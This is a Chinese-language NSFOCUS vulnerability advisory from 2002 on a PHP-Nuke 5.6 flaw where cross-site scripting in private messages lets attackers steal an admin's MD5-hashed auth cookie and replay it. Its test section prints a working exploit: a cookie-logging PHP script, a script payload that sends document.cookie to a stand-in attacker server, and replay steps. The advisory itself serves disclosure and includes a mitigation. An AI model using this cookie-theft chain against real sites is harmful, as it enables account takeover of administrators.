首页 -> 安全研究

安全研究

安全漏洞
PHP-Nuke远程管理权限访问漏洞

发布日期:2002-08-15
更新日期:2002-08-18

受影响系统:
Francisco Burzi PHP-Nuke 5.6
描述:
BUGTRAQ  ID: 5476

PHP-Nuke是一个网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke对基于Cookie认证的处理不够正确,远程攻击者可以利用这个漏洞以管理员权限访问PHP-Nuke系统。

PHP-Nuke中的私人消息模块存在跨站脚本执行漏洞,用户可以发送包含HTML代码的消息给目标用户,由于PHP-Nuke没有正确过滤HTML代码,使HTML代码可以在查看私人消息时脚本代码在用户浏览器中执行,从而是用户基于认证的Cookie信息泄露,PHP-Nuke以前的版本把用户密码以BASE64编码方式存储在Cookie中,所以攻击者可以获得Cookie信息即可以获得密码信息,但是PHP-Nuke 5.6版本在进行BASE64编码之前使用MD5进行加密,然后在放入Cookie中,这使的窃取的Cookie信息不能直接获得用户密码。

由于PHP-Nuke通过MD5加密口令后,使用加密后的字串与数据库的加密字串比较,攻击者就可能通过提取窃取到的Cookie信息中MD5加密过的字符串信息来验证自己。

PHP-Nuke通过BASE64编码后获得类似如下的字符串设置Cookie信息:

username:md5_encrypted_pass:lang

因此,攻击者可以使用Cookie中MD5加密过的信息,并按照上面的字符串进行排列,通过BASE64编码,再放到Cookie中发送,就可以绕过验证可以以管理员权限访问PHP-Nuke系统。


<*来源:delusion (delusi0n@bellsouth.net
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=102953173132760&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

delusion (delusi0n@bellsouth.net)提供了如下测试方法:

要利用这个漏洞,你必须在你的WEB服务器目录下建立如下文件:

cookie.php包含:
<?
$fp = fopen("cookie.txt","a");
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* this is so the admin doesnt get scared. and
thinks its some bug. */
?>

test.php包含:

<?
$admin = base64_encode("decoded_string") ;
setcookie("admin","$admin",time()+2592000);
?>

1、发送求助私人消息给管理员,并包含如下代码:

<script>document.location.replace('http://yourserver/cookie.php?cookie='+doc
ument.cookie);</script>

2、等待管理员点击消息,然后检查你服务器上的cookie.txt。

3、从cookie.txt中拷贝从"admin="到";"号的加密文本。

4、进入http://www.isecurelabs.com/base64.php URL,粘贴文本,并点击"Decode",获得类似如下的字符串:

username:md5_encrypted_passwd:language (language可能为空白).

5、粘贴编码后的字符串到test.php如下:

<?
$admin = base64_encode("paste decoded string here");
setcookie("admin","$admin",time()+2592000);
?>

6、以任意用户登录站点。

7、发送私人消息给自己包含如下内容:

<iframe src="http://yerserver/test.php"></iframe>

打开消息,然后你机器上会设置一COOKIE信息,但此COOKIE信息会以你的服务器URL进行配置,你必须修改相关的PHPNuke站点进行代替。

8、使用mozill的情况下,在~/.mozilla/someprofile/something/目录下编辑cookies.txt信息,改变如下所描述的相应URL,其他浏览器类似。

9、重新启动WEB浏览器,然后输入访问PHPNUke站点,现在的权限就是管理员权限。

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 编辑/modules/Private_Messages/中的reply.php脚本,在reply.php的75行增加如下代码:

$message = strip_tags($message, '<br><b><u><i>');

厂商补丁:

Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpnuke.org

浏览次数:3643
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障